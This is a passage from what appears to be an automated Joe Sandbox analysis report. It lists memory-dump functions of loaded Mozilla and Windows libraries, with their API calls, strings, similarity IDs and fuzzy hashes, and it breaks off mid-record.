
KpT{/, xrefs: 6C8D31D1
KernelBase.dll, xrefs: 6C8D3212
QueryInterruptTime, xrefs: 6C8D3230

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$KpT{/$QueryInterruptTime
API String ID: 3006643210-828527092
Opcode ID: 6bd788c0c79f0c156c193d5fc9b1d85725b94b7c99e9a3a9e65c6fcd831a6f19
Instruction ID: 1818aac1af76e4d131d427a6abfb9dda2780369b9f603710330116f1bc647882
Opcode Fuzzy Hash: 6bd788c0c79f0c156c193d5fc9b1d85725b94b7c99e9a3a9e65c6fcd831a6f19
Instruction Fuzzy Hash: 1461F571A087418BC721CF38C45065BB7F5FFD63A4F618B1DE8A5A3690EB31A949CB42

Function 6C936660 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C95F618), ref: 6C936694
GetThreadId.KERNEL32(?), ref: 6C9366B1
GetCurrentThreadId.KERNEL32 ref: 6C9366B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9366E1
EnterCriticalSection.KERNEL32(6C95F618), ref: 6C936734
GetCurrentProcess.KERNEL32 ref: 6C93673A
LeaveCriticalSection.KERNEL32(6C95F618), ref: 6C93676C
GetCurrentThread.KERNEL32 ref: 6C9367FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C936868
RtlCaptureContext.NTDLL ref: 6C93687F

Strings

KpT{/, xrefs: 6C936678
WalkStack64, xrefs: 6C936890

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: KpT{/$WalkStack64
API String ID: 2357170935-1809700524
Opcode ID: 89912de127b2e63b2b28472c53725664be91d829debf0add14151f5830989273
Instruction ID: f9f1faaa24a1517f7de8db1eb0cc9c6ae4fcbf63e2ff275558eb8f8ce3b29c9b
Opcode Fuzzy Hash: 89912de127b2e63b2b28472c53725664be91d829debf0add14151f5830989273
Instruction Fuzzy Hash: 7051CC71A09310AFDB11CF24C848B5ABBF8FF89714F54492DF99997640D7B0E908CB92

Function 6CA55CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CA55EC0,00000000,?,?), ref: 6CA55CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CA55CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CA55CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CA55D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CA55EC0,00000000,?,?), ref: 6CA55D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CA55D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA55D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA55D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CA55D80

Strings

extern:, xrefs: 6CA55CEA, 6CA55D4B
dbm:, xrefs: 6CA55D03, 6CA55D60
multiaccess:, xrefs: 6CA55CB8
sql:, xrefs: 6CA55CD1, 6CA55D36
NSS_DEFAULT_DB_TYPE, xrefs: 6CA55D1A

Memory Dump Source

Source File: 00000007.00000002.2669272651.000000006C971000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000007.00000002.2669234540.000000006C970000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671162429.000000006CB4E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671225100.000000006CB4F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671335343.000000006CB50000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671375970.000000006CB55000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c970000_eb98fe5174.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: bfbee123b6ac766147cbc752562ea51b2b209c910c0d5fa7acd3ec4c86f4074f
Instruction ID: b217bd7c0e12160a509e84bca8875f133ceba8184e466d5706a7589626c46e99
Opcode Fuzzy Hash: bfbee123b6ac766147cbc752562ea51b2b209c910c0d5fa7acd3ec4c86f4074f
Instruction Fuzzy Hash: 0C3124B7A41351ABE701EA24CC4DF263368AF1365CF588030ED59A7A82FBB1E465C291

Function 6CA56CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CB21DE0,?), ref: 6CA56CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA56D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CA56D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CA56D82
DER_GetInteger_Util.NSS3(?), ref: 6CA56DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA56DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CA56E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CA56F19
PK11_DigestBegin.NSS3(00000000), ref: 6CA56F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CA56F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CA57011
PK11_FreeSymKey.NSS3(00000000), ref: 6CA57033
free.MOZGLUE(?), ref: 6CA5703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CA57060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA57087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CA570AF

Memory Dump Source

Source File: 00000007.00000002.2669272651.000000006C971000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000007.00000002.2669234540.000000006C970000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2670979145.000000006CB0F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671162429.000000006CB4E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671225100.000000006CB4F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671335343.000000006CB50000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.2671375970.000000006CB55000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c970000_eb98fe5174.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 1b6ab9c872f876cd09718d8efdec005e23762180d1ad0fd80bc60273acdc4e6f
Instruction ID: ead2d1ad2eb9ef2738791ba388eee4402e71388560c86377c1a457e461fc4568
Opcode Fuzzy Hash: 1b6ab9c872f876cd09718d8efdec005e23762180d1ad0fd80bc60273acdc4e6f
Instruction Fuzzy Hash: 66A12671A192009BEB009B24DC45B6A72A5DB8131CFA8C939ED19CBB81E735D8EDC753

Function 6C8D3AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95E768,?,00003000,00000004), ref: 6C8D3AC5
LeaveCriticalSection.KERNEL32(6C95E768,?,00003000,00000004), ref: 6C8D3AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6C8D3AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C8D3B57
EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8D3B81
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8D3BA3
EnterCriticalSection.KERNEL32(6C95E7B8), ref: 6C8D3BAE
LeaveCriticalSection.KERNEL32(6C95E7B8), ref: 6C8D3C74
EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8D3C8B
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8D3C9F
LeaveCriticalSection.KERNEL32(6C95E7B8), ref: 6C8D3D5C
EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8D3D67
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8D3D8A

Part of subcall function 6C910D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C8D3DEF), ref: 6C910D71
Part of subcall function 6C910D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C8D3DEF), ref: 6C910D84

Strings

<jemalloc>, xrefs: 6C8D3DC7
MOZ_CRASH(), xrefs: 6C8D3DB2
: (malloc) Error in VirtualFree(), xrefs: 6C8D3DCC

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: e13986918bbcfb616976a9abf5c13a5d6f76713309183d5fab211be0777bcd87
Instruction ID: b2b283c2050a724d25e2ac2affde0f2873313e8d70e5e86d3f0049e6a3732312
Opcode Fuzzy Hash: e13986918bbcfb616976a9abf5c13a5d6f76713309183d5fab211be0777bcd87
Instruction Fuzzy Hash: 9F91AE717043098FDB14CF68CAC0B6A77B2BB85714B664928E9119BB85DB76EC10CBD1

Function 6C8E3A90 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 295COMMON

Download Yara Rule

APIs

AcquireSRWLockShared.KERNEL32 ref: 6C8E3BB4
ReleaseSRWLockShared.KERNEL32 ref: 6C8E3BD2
AcquireSRWLockExclusive.KERNEL32 ref: 6C8E3BE5
ReleaseSRWLockExclusive.KERNEL32 ref: 6C8E3C91
ReleaseSRWLockShared.KERNEL32 ref: 6C8E3CBD
moz_xmalloc.MOZGLUE ref: 6C8E3CF1

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

Strings

KpT{/, xrefs: 6C8E3B67

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$mallocmoz_xmalloc
String ID: KpT{/
API String ID: 1881024734-2391877073
Opcode ID: 94a29b27f40d88a5d58aa7509693dca5bd47b0f9e5c6efe3f7634a5dc11c490c
Instruction ID: f892d68870e705f21ef88a749323647f94a173a931e60f82ab65b42d264614c4
Opcode Fuzzy Hash: 94a29b27f40d88a5d58aa7509693dca5bd47b0f9e5c6efe3f7634a5dc11c490c
Instruction Fuzzy Hash: 28C161B1A08701CFC724DF29C18465ABBF1BF9A314F558A5ED8994BB21D731EC85CB82

Function 6C91DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91DE73
GetCurrentThreadId.KERNEL32 ref: 6C91DF7D
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91DF8A
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91DFC9
GetCurrentThreadId.KERNEL32 ref: 6C91DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C8E4A68), ref: 6C91DE7B

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C8E4A68), ref: 6C91DEB8
free.MOZGLUE(00000000,?,6C8E4A68), ref: 6C91DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C91DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C91E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C91DE83
<none>, xrefs: 6C91DFD7

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: fdd4c876e914be9892cbc80d002fa6ec757edefa4d47d0cbf189c664a2309dcd
Instruction ID: 12c40cc174514577a89a9a00fd785651e237db5ab3ebca3437e21c95e75e2255
Opcode Fuzzy Hash: fdd4c876e914be9892cbc80d002fa6ec757edefa4d47d0cbf189c664a2309dcd
Instruction Fuzzy Hash: 73416732B082149BDB119F64D8097AE7B79EF9231CFA40019E90997F41CB31D919CBE2

Function 6C8F5670 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C8F56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8F56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C8F56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C8F5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C8F57BC
GetTickCount64.KERNEL32 ref: 6C8F58CB
EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8F58F3
__aulldiv.LIBCMT ref: 6C8F5945
LeaveCriticalSection.KERNEL32(6C95F688), ref: 6C8F59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C95F638,?,?,?,?), ref: 6C8F59E9

Strings

KpT{/, xrefs: 6C8F567F
MOZ_APP_RESTART, xrefs: 6C8F56CC

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: KpT{/$MOZ_APP_RESTART
API String ID: 2752551254-3318574752
Opcode ID: 7311af7dc5a77a298b58cefdfacaedd33ab9b3431214c2cb05b79d02c00c7a08
Instruction ID: d2af1f12fcd8cd482de3a867570723f2b0a57ae653629cd581c662b78b90930e
Opcode Fuzzy Hash: 7311af7dc5a77a298b58cefdfacaedd33ab9b3431214c2cb05b79d02c00c7a08
Instruction Fuzzy Hash: 1EC1AE31A0D7449FCB05CF28C54066ABBF1FFDA368F558A1DE8D497660D730A886CB82

Function 6C93AC20 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C93AC52
CreateFileMappingW.KERNEL32 ref: 6C93AC7D
GetSystemInfo.KERNEL32 ref: 6C93AC98
MapViewOfFile.KERNEL32 ref: 6C93ACB0
GetSystemInfo.KERNEL32 ref: 6C93ACCD
MapViewOfFile.KERNEL32 ref: 6C93AD05
UnmapViewOfFile.KERNEL32 ref: 6C93AD1C
CloseHandle.KERNEL32 ref: 6C93AD28
UnmapViewOfFile.KERNEL32 ref: 6C93AD37
CloseHandle.KERNEL32 ref: 6C93AD43
CloseHandle.KERNEL32 ref: 6C93AD67

Strings

KpT{/, xrefs: 6C93AC29

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID: KpT{/
API String ID: 1192971331-2391877073
Opcode ID: c8a98f6e95939238db6e58ec0a06f28590ee4c95218f8504423391682268078c
Instruction ID: 49ae8119174ce908580d48ae183cf22e28a45154544c23d75a0f9b85f531b4ea
Opcode Fuzzy Hash: c8a98f6e95939238db6e58ec0a06f28590ee4c95218f8504423391682268078c
Instruction Fuzzy Hash: 703160B1A087448FDB00FFB8D64826EBBF0BF85305F55892DE99997211EB709458CB82

Function 6C918ED0 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C8DEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8DEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C91B392,?,?,00000001), ref: 6C9191F4

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Strings

marker-table, xrefs: 6C91906C
KpT{/, xrefs: 6C918ED9
marker-chart, xrefs: 6C91905E
timeline-memory, xrefs: 6C919088
timeline-fileio, xrefs: 6C9190A4
stack-chart, xrefs: 6C9190B2
timeline-ipc, xrefs: 6C919096
timeline-overview, xrefs: 6C91907A
data, xrefs: 6C9190E8
name, xrefs: 6C918F16

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: KpT{/$data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3518854554
Opcode ID: 7beb07b891552a9764dff18357fd1578ce75543388ea5d90f8ab5437c49f354b
Instruction ID: 1b2912b138d17d68cbfb169e35429eba1d8b9056d3fe1ebd8d959358342f6a58
Opcode Fuzzy Hash: 7beb07b891552a9764dff18357fd1578ce75543388ea5d90f8ab5437c49f354b
Instruction Fuzzy Hash: 2BB1E4B1A0530A9BDB04CF98C5927EEBBB5BF85318F614429D402ABF80D731E955CBD0

Function 6C91EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91EC8C

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

GetCurrentThreadId.KERNEL32 ref: 6C91ECA1
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C91ECC5
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C91ED19
CloseHandle.KERNEL32(?), ref: 6C91ED28
free.MOZGLUE(00000000), ref: 6C91ED2F
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C91EC94

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: bfcdd317c4ed5d52b07860ebd2592e658298274cc09c7ba520242517289f0dce
Instruction ID: 3ef6ec25ba521b8550da9222d8800674705e80f8409e9a83aa77fc994f64d125
Opcode Fuzzy Hash: bfcdd317c4ed5d52b07860ebd2592e658298274cc09c7ba520242517289f0dce
Instruction Fuzzy Hash: A321D17560811CABDF019F64D80DAAA7B7AEB9636CFA44210FD1897F40DB31D8198BE1

Function 6C8FC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8FC5A3
WideCharToMultiByte.KERNEL32 ref: 6C8FC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C8FC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C8FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C8FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8FCAA5

Strings

(null), xrefs: 6C8FC596
0, xrefs: 6C8FD30A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: d23a916a3198b3c70aaa86c0ea3a04479fb08d9b28de938dd7a2128c53386ee6
